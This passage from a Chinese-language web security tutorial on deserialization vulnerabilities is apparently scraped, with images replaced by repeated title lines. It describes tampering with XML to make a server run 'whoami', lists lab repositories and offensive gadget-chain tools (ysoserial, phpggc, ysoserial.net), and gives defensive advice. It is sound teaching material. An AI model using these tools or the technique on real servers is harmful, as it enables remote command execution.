WEB常見漏洞之反序列化分析與防禦

伺服器執行指令後傳回到用戶端,如圖:

WEB常見漏洞之反序列化分析與防禦

如果攻擊者将傳輸的XML資料進行篡改,如圖:

WEB常見漏洞之反序列化分析與防禦

伺服器在反序列化後執行whoami指令,如圖:

WEB常見漏洞之反序列化分析與防禦

0x03 靶場位址&工具推薦

https://github.com/zhuifengshaonianhanlu/pikachu #皮卡丘靶場位址
https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment #FastJson反序列化靶場位址


https://github.com/NHPT/ASP.NET-Deserialization-Vulnerability-Experiment #ASP.NET反序列化靶場位址


https://github.com/frohoff/ysoserial #JAVA反序列化工具


https://github.com/ambionics/phpggc #PHP反序列化工具


https://github.com/pwntester/ysoserial.net #.NET反序列化工具           

0x04 漏洞防禦

反序列化之前,先進行嚴格的資料類型校驗。由于校驗規則容易被攻擊者探索出來,進而容易被繞過,是以防禦不能僅依賴這一個手段,但可以作為完整性校驗防禦方案的補充。
對反序列化過程進行詳盡的日志記錄,用以安全審計或調查。
監控反序列化過程,在發現疑似反序列化攻擊時進行警報。           

請遵守法律法規,文章旨在提高安意識和防範政策,嚴禁非法使用。

繼續閱讀